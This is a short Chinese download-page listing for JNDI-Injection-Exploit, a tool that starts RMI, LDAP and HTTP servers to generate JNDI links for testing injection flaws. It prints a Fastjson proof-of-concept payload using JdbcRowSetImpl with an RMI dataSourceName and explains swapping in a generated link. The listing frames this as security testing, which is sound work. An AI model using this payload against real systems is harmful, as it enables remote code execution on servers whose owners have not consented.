JNDI Injection Exploit：JNDI注入测试工具（可启动多服务器生成JNDI链接）
5星
- 浏览量: 0
- 大小:None
- 文件类型：None
简介：
JNDI Injection Exploit是一款用于检测JNDI注入漏洞的安全测试工具，支持模拟攻击环境并生成多种类型的JNDI链接以评估系统安全性。
JNDI注入漏洞描述：JNDI-Injection-Exploit是一种工具，用于生成可用的JNDI链接，并通过启动RMI服务器、LDAP服务器和HTTP服务器来提供后台服务。其中，RMI服务器和LDAP服务器基于特定基础进行了修改以与HTTP服务器进行连接。使用此工具可以获取到可利用的JNDI链接，这些链接可用于插入POC（Proof of Concept）中，以便测试系统是否存在漏洞。
例如，在Fastjson的一个漏洞证明代码如下：
```
{
@type: com.sun.rowset.JdbcRowSetImpl,
dataSourceName: rmi://127.0.0.1:1099/Object,
autoCommit: true
}
```
我们可以使用JNDI-Injection-Exploit生成的链接来替换上述代码中的“rmi://127.0.0.1:1099/Object”，以测试系统的漏洞情况。
全部评论 (0)
还没有任何评论哟~
